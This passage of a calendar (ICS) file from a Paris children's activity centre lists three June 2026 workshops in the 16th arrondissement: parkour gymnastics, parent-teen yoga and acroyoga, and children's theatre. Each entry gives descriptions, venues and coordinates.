rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260620T110000 DTEND;TZID=Europe/Paris:20260620T120000 DTSTAMP:20260121T170313 CREATED:20250523T133052Z LAST-MODIFIED:20250523T133053Z UID:10010585-1781953200-1781956800@apprends-et-reve.fr SUMMARY:Gymnastique : devenir un As du Parkour et de l'Art Du Déplacement DESCRIPTION:Avec cet atelier d’initiation à la gymnastique\, nous allons initier les enfant à l’Art du Déplacement ou comment faire des « obstacles »\, des challenges et jeux à gagner. \nVia un parcours\, l’enfant améliorera ses capacités d’équilibre\, de motricité\, de coordination et de concentration. \nCet atelier\, à la fois ludique et sportif\, leur permet de découvrir et améliorer toutes leurs capacités corporelles\, en même temps que le sens du challenge. URL:https://apprends-et-reve.fr/activite/motricite-devenir-un-as-du-parkour-et-de-lart-du-deplacement-2/2026-06-20/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Activité physique / sportive ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2025/05/Gym-Parkour-2.jpg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260620T113000 DTEND;TZID=Europe/Paris:20260620T123000 DTSTAMP:20260121T170313 CREATED:20201203T100829Z LAST-MODIFIED:20250507T155017Z UID:10011963-1781955000-1781958600@apprends-et-reve.fr SUMMARY:Viser l’harmonie\, ensemble grâce au Yoga et à l’Acroyoga DESCRIPTION:Cet atelier Acroyoga et Yoga destiné aux ados et à leurs parents ou grand frère/ grande soeur est proposé le samedi à Paris (16e arrondissement). \nPourquoi opter pour le Yoga ? Car il permet de prendre le temps de la complicité\, de la confiance mutuelle entre les partenaires et de l’esprit d’équipe. Pour Christelle et Penelope\, professeures de l’atelier\, « le yoga permet de rétablir l’énergie\, par la détente corporelle et psychique\, la respiration. Il encourage également l’expression de la créativité et de l’imagination. Il permet d’affûter son corps par la pratique des exercices et des postures. ». \nL’atelier combine pratique du yoga traditionnel et Acroyoga\, avec pour objectif de construire une connexion plus forte entre parent et ado\, selon les possibilités et le niveau de chaque couple. Réaliser des postures ‘acrobatiques » à deux permet aux enfants une approche plus ludique du yoga. URL:https://apprends-et-reve.fr/activite/viser-lharmonie-ensemble-grace-au-yoga-et-a-lacroyoga-3/2026-06-20/ LOCATION:Salle de danse du Centre sportif Suchet\, 26 avenue du Maréchal Franchet d’Esperey\, Paris\, 75016\, France CATEGORIES:Acroyoga,Yoga,Yoga et Acroyoga parent / enfant,Yoga parent / enfant ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2017/01/29060516_2045735258775476_8219301906644777510_o-e1526374877564.jpg GEO:48.8550307;2.2619979 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Salle de danse du Centre sportif Suchet 26 avenue du Maréchal Franchet d’Esperey Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=26 avenue du Maréchal Franchet d’Esperey:geo:2.2619979,48.8550307 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260622T170000 DTEND;TZID=Europe/Paris:20260622T183000 DTSTAMP:20260121T170313 CREATED:20201127T094434Z LAST-MODIFIED:20250502T122017Z UID:10011659-1782147600-1782153000@apprends-et-reve.fr SUMMARY:Théâtre: Jouer et vivre DESCRIPTION:Jouer est un personnage avec des amis\, dans la cour de récré ou à la maison\, c’est assez simple. Être en représentation devant les autres\, sur une scène de théâtre\, c’est une autre paire de manches ! Notre atelier permet aux enfants d’apprendre à incarner un personnage\, « exister » sur une scène\, savoir placer sa voix\, raconter une histoire\, dire un texte\, interagir avec les autres. En résumé : être un acteur. Notre atelier s’articule autour d’un échauffement corporel et vocal afin de mettre en marche la machine dramatique des enfants. Des jeux permettent de créer une véritable cohésion de groupe ou de travailler des notions précises. \nLes enfants pourront alors aborder le jeu à partir d’une histoire racontée par l’animateur. Dans cet atelier\, les enfants apprendront à occuper l’espace\, à poser leur voix et à jouer avec les autres. Ensuite\, ils pourront\, grâce à des sketchs\, puis des scènes ou extrait de scènes\, incarner des personnages divers et variés. Et enfin\, ils participeront à la création d’une pièce où chacun tiendra « Son » rôle. URL:https://apprends-et-reve.fr/activite/jouer-et-vivre-2/2026-06-22/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Théâtre ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2020/11/AR-gala2019-5theatre_7_12.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT END:VCALENDAR